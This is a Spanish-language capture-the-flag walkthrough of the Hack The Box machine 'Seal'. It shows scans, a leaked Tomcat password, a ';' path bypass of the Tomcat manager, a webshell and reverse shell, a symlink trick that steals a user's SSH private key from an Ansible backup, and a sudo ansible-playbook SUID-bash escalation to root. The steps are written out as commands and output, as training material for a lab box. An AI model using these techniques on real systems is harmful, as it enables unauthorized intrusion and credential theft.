This page looks best with JavaScript enabled

Hack The Box - Seal

 •  ✍️ sckull

Seal presenta distintos respositorios en GitBucket, donde se muestra la configuracion de Nginx y Tomcat, por medio de estos logramos acceder al primer usuario. Un proceso nos permitió generar un backup de la clave privada con un enlace simbolico de SSH de un segundo usuario. Finalmente escalamos privilegios utilizando ansible-playbook.

Nombre Seal box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.10.250
Maker

MrR3boot

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.3, 5.9, 4.9, 5.1, 4.1],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[6, 10, 5, 5, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

Escaneo de puertos con nmap nos muestra multiples puertos abiertos: ssh (22), https (443), http (8080). Además se muestra un dominio: seal.htb el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# Nmap 7.91 scan initiated Tue Jul 13 17:58:34 2021 as: nmap -sV -sC -p22,443,8080 -oN scans 10.10.10.250
Nmap scan report for 10.10.10.250 (10.10.10.250)
Host is up (0.068s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
| tls-alpn:
|_  http/1.1
| tls-nextprotoneg:
|_  http/1.1
8080/tcp open  http-proxy
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 401 Unauthorized
|     Date: Tue, 13 Jul 2021 22:15:34 GMT
|     Set-Cookie: JSESSIONID=node0pikwwm1ufkdt1sapwo4wabcqg2.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest:
|     HTTP/1.1 401 Unauthorized
|     Date: Tue, 13 Jul 2021 22:15:33 GMT
|     Set-Cookie: JSESSIONID=node0onk9vj2as4e4hqd3903kmhjo0.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Tue, 13 Jul 2021 22:15:34 GMT
|     Set-Cookie: JSESSIONID=node0l2xbmz674jwh13xgyl9imlaau1.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck:
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest:
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4:
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5:
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).

# Nmap done at Tue Jul 13 17:58:58 2021 -- 1 IP address (1 host up) scanned in 23.32 seconds

Web Site

Encontramos una tienda en linea que no presenta ningun tipo de funcionalidad.
image

Directory Brute Forcing

Feroxbuster muestra una direccion que pertenece a Tomcat. Al visitar la direccion /manager retorna Codigo 403, lo que significa que no estamos permitidos a acceder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 π ~/htb/seal ❯ feroxbuster -u https://seal.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ https://seal.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
302        0l        0w        0c https://seal.htb/images
302        0l        0w        0c https://seal.htb/admin
302        0l        0w        0c https://seal.htb/icon
302        0l        0w        0c https://seal.htb/css
302        0l        0w        0c https://seal.htb/js
302        0l        0w        0c https://seal.htb/manager
[####################] - 10m   220545/220545  0s      found:6       errors:0
[####################] - 10m   220545/220545  360/s   https://seal.htb/

GitBucket

En el puerto 8080 encontramos GitBucket tras registrar e ingresar un usuario en el panel de registro vemos dos repositorios.
image

Segun la definicion, el primero es la tienda que se muestra en el puerto 80, el segundo se describe como un Playbook para administrar la tienda (Tomcat).
image

Seal Market - Repo

Descubrimos en Seal_market un commit en el que se modifica el archivo tomcat-users.xml, se muestra un usuario y contraseña (tomcat:42MrHBf*z8{Z%).

image

Además vemos que la app (Seal Market) solo es una pagina estatica sin ninguna conexion a alguna base de datos.

Tambien en la configuracion de nginx (nginx/sites-available/default) vemos que no permite acceder a distintas rutas sin autenticación mediante un certificado, en el caso de no estar autenticado retorna codigo 403 como en /manager, tambien vemos configuracion para Reverse Proxy.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
ssl_certificate /var/www/keys/selfsigned.crt;
ssl_certificate_key /var/www/keys/selfsigned.key;
ssl_client_certificate /var/www/keys/selfsigned-ca.crt;
 
server {
        listen 443 ssl default_server;
        listen [::]:443 ssl default_server;
 
 
        root /var/www/html;
        ssl_protocols TLSv1.1 TLSv1.2;
        ssl_verify_client optional;

        index index.html index.htm index.nginx-debian.html;
 
        server_name _;
 
        location /manager/html {
                if ($ssl_client_verify != SUCCESS) {
                        return 403;
                }
                proxy_set_header        Host $host;
                proxy_set_header        X-Real-IP $remote_addr;
                proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_set_header        X-Forwarded-Proto $scheme;
                proxy_pass          http://localhost:8000;
                proxy_read_timeout  90;
                proxy_redirect      http://localhost:8000 https://0.0.0.0;
        }
 
 
        location /admin/dashboard {
                if ($ssl_client_verify != SUCCESS) {
                        return 403;
                }
                proxy_set_header        Host $host;
                proxy_set_header        X-Real-IP $remote_addr;
                proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_set_header        X-Forwarded-Proto $scheme;
                proxy_pass          http://localhost:8000;
                proxy_read_timeout  90;
                proxy_redirect      http://localhost:8000 https://0.0.0.0;
        }
 
        location /host-manager/html {
                if ($ssl_client_verify != SUCCESS) {
                        return 403;
                }
                proxy_set_header        Host $host;
                proxy_set_header        X-Real-IP $remote_addr;
                proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_set_header        X-Forwarded-Proto $scheme;
                proxy_pass          http://localhost:8000;
                proxy_read_timeout  90;
                proxy_redirect      http://localhost:8000 https://0.0.0.0;
        }
 
 
        location / {
                proxy_set_header        Host $host;
                proxy_set_header        X-Real-IP $remote_addr;
                proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_set_header        X-Forwarded-Proto $scheme;
                proxy_pass          http://localhost:8000;
                proxy_read_timeout  90;
                proxy_redirect      http://localhost:8000 https://0.0.0.0;
        }
 
}

Luis - Account

En los commits de Seal Market se muestran nombres de posibles usuarios, y, utilizando la contraseña que encontramos pudimos acceder a la cuenta de Luis, aunque no encontramos algun otro repositorio, pero tenemos permisos sobre uno de los repositorios. Descubrimos tambien, exploits que permiten ejecutar comandos aunque no parece afectar a esta version de GitBucket.

Tomcat

Intentamos subir una shell inversa como en Tabby - HTB pero dicha direccion no esta permitida tal y como se define en la configuracion de Nginx, de cierta forma necesitamos hacer algun tipo de Bypass.

1
2
3
4
5
6
π ~/htb/seal ❯ curl -sk --upload-file batman.war --user 'tomcat:42MrHBf*z8{Z%' "https://seal.htb/manager/text/deploy?path=/batman&update=True" | html2text
****** 403 Access Denied ******
You are not authorized to view this page.
By default the Manager is only accessible from a browser running on the same
machine as Tomcat. If you wish to modify this restriction, you'll need to edit
the Manager's context.xml file.

Seal Market

Encontramos algunos recursos relacionados a Nginx Misconfiguration (1, 2), Security restrictiont bypass (1) y Reverse Proxy Attacks, en este ultimo se muestran algunas formas para realizar bypass. Finalmente en Breaking Parser Logic! (Pag 42-62) se muestran algunos ejemplos entre ellos encontramos un “payload” (;name=orange) y el comportamiento que toma en diferentes servidores.
image

En el ejemplo (http://example.com/foo;name=orange/bar/) tomcat toma la direccion como /foo/bar/ lo que permitiría acceder a rutas las cuales no estamos permitidos.

Al utilizar el “payload” (;) en la direccion (https://seal.htb/manager;/html) del panel de tomcat nos permitió acceder con las credenciales de tomcat.
image

Tomcat - User

Shell

Por alguna razon Firefox no permite subir un archivo .war segun parece, por las cookies, creamos y subimos con Chromium una webshell lo que nos permitió ejecutar comandos, utilizamos Reverse Shell as a Service para la ejecucion de una shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 π ~/htb/seal ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.24] from seal.htb [10.10.10.250] 58844
/bin/sh: 0: can't access tty; job control turned off
which python
which python3
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash");'
whoami; id; pwd
whoami; id; pwd
tomcat
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
/var/lib/tomcat9
tomcat@seal:/var/lib/tomcat9$

Luis - User

Listando los procesos vemos el comando ansible-playbook ejecutando un archivo yaml (run.yml) cada 30 segundos, dentro de este archivo encontramos 3 tareas, una de estas realiza una copia o backup de los archivos de /var/lib/tomcat9/webapps/ROOT/admin/dashboard incluyendo los symlinks luego crea un archivo .gz en /opt/backups/archives/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
tomcat@seal:/$ ps -ef|grep luis
luis         878     854  0 05:32 ?        00:00:00 /bin/sh -c java -jar /home/luis/gitbucket.war
luis         880     878  2 05:32 ?        00:21:56 java -jar /home/luis/gitbucket.war
root      254757  254756  0 22:53 ?        00:00:00 /bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml
tomcat    254762  252177  0 22:53 pts/1    00:00:00 grep luis
tomcat@seal:/$ ls -lah /usr/bin/ansible-playbook
lrwxrwxrwx 1 root root 7 Mar 16  2020 /usr/bin/ansible-playbook -> ansible
tomcat@seal:/$ ls -lah /opt/backups/playbook/run.yml
-rw-rw-r-- 1 luis luis 403 May  7 07:14 /opt/backups/playbook/run.yml
tomcat@seal:/$ cat /opt/backups/playbook/run.yml
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/
tomcat@seal:/$

En la carpeta dashboard encontramos uploads/ dentro de esta tenemos permisos de escritura, creamos un ‘symlink’ apuntando a la carpeta .ssh del usuario Luis, ya que el proceso es ejecutado con este usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ls -lah
total 100K
drwxr-xr-x 7 root root 4.0K May  7 09:26 .
drwxr-xr-x 3 root root 4.0K May  6 10:48 ..
drwxr-xr-x 5 root root 4.0K Mar  7  2015 bootstrap
drwxr-xr-x 2 root root 4.0K Mar  7  2015 css
drwxr-xr-x 4 root root 4.0K Mar  7  2015 images
-rw-r--r-- 1 root root  71K May  6 10:42 index.html
drwxr-xr-x 4 root root 4.0K Mar  7  2015 scripts
drwxrwxrwx 2 root root 4.0K Jul 16 23:12 uploads
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ cd uploads
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ ln -s /home/luis/.ssh
<ROOT/admin/dashboard/uploads$ ln -s /home/luis/.ssh
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ ls -lah
total 8.0K
drwxrwxrwx 2 root   root   4.0K Jul 16 23:12 .
drwxr-xr-x 7 root   root   4.0K May  7 09:26 ..
lrwxrwxrwx 1 tomcat tomcat   15 Jul 16 23:12 .ssh -> /home/luis/.ssh
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$

Vemos que se creó el backup, realizamos una copia y tras extraer el contenido vemos la clave privada de Luis.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
tomcat@seal:/opt/backups/archives$ ls -lah
total 1.8M
drwxrwxr-x 2 luis luis 4.0K Jul 16 23:22 .
drwxr-xr-x 4 luis luis 4.0K Jul 16 23:22 ..
-rw-rw-r-- 1 luis luis 596K Jul 16 23:20 backup-2021-07-16-23:20:32.gz
-rw-rw-r-- 1 luis luis 596K Jul 16 23:21 backup-2021-07-16-23:21:32.gz
-rw-rw-r-- 1 luis luis 596K Jul 16 23:22 backup-2021-07-16-23:22:32.gz
tomcat@seal:/opt/backups/archives$ cp backup-2021-07-16-23:23:32.gz /dev/shm
tomcat@seal:/opt/backups/archives$ cd /dev/shm
tomcat@seal:/dev/shm$ ls
backup-2021-07-16-23:23:32.gz
tomcat@seal:/dev/shm$ mv backup* backup.gz
tomcat@seal:/dev/shm$ tar -zxvf backup.gz
[ ... REDACTED ... ]
dashboard/uploads/.ssh/
dashboard/uploads/.ssh/id_rsa
dashboard/uploads/.ssh/id_rsa.pub
dashboard/uploads/.ssh/authorized_keys
[ ... REDACTED ... ]
tomcat@seal:/dev/shm$

Con ello conseguimos acceso a este usuario por SSH y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 π ~/htb/seal ❯ ssh luis@seal.htb -i id_rsa_luis
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 16 Jul 2021 11:06:53 PM UTC

  System load:           0.14
  Usage of /:            47.1% of 9.58GB
  Memory usage:          60%
  Swap usage:            0%
  Processes:             180
  Users logged in:       0
  IPv4 address for eth0: 10.10.10.250
  IPv6 address for eth0: dead:beef::250:56ff:feb9:1ee8


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Jul 16 17:22:51 2021 from 10.10.14.4
luis@seal:~$ ls
gitbucket.war  user.txt
luis@seal:~$ cat user.txt
9ee0bf21e12a6c27854c72cb79d3729a
luis@seal:~$

DB - Gitbucket

En la carpeta principal de Luis encontramos el archivo data.mv.db, con dbeaver vemos que es la “base de datos” de esta plataforma, además encontramos los hashes de los usuarios registrados.
image

Privesc

Tras ejecutar sudo -l -l vemos que tenemos permisos sudo (root) para ejecutar el comando ansible-playbook.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
luis@seal:~$ sudo -l -l
Matching Defaults entries for luis on seal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:

Sudoers entry:
    RunAsUsers: ALL
    Options: !authenticate
    Commands:
  /usr/bin/ansible-playbook *
luis@seal:~$

Creamos un archivo que le da permisos suid a /bin/bash en la carpeta de Luis.

1
echo "chmod u+s /bin/bash" > /home/luis/upgrade_bash.sh

Tambien creamos el archivo upgrade.yml siguiendo la documentacion para ejecutar comandos en este caso para ejecutar nuestro archivo upgrade_bash.sh.

1
2
3
4
- hosts: localhost
  tasks:
  - name: Upgrade Bash to SUID
    command: /bin/bash /home/luis/upgrade_bash.sh

Tras ejecutar el archivo logramos obtener una shell como root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
luis@seal:~$ sudo /usr/bin/ansible-playbook upgrade.yml
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'

PLAY [localhost] ***************************************************************************************************************************************************************************

TASK [Gathering Facts] *********************************************************************************************************************************************************************
ok: [localhost]

TASK [SSH Key] *****************************************************************************************************************************************************************************
changed: [localhost]

PLAY RECAP *********************************************************************************************************************************************************************************
localhost                  : ok=2    changed=1    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0

luis@seal:~$ ls -lah /bin/bash
-rwsr-xr-x 1 root root 1.2M Jun 18  2020 /bin/bash
luis@seal:~$ /bin/bash -p
bash-5.0# whoami
root
bash-5.0# cd /root
bash-5.0# ls
root.txt  snap
bash-5.0# cat root.txt
05a0803bb8bb99a5cb90f63c08b74445
bash-5.0#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe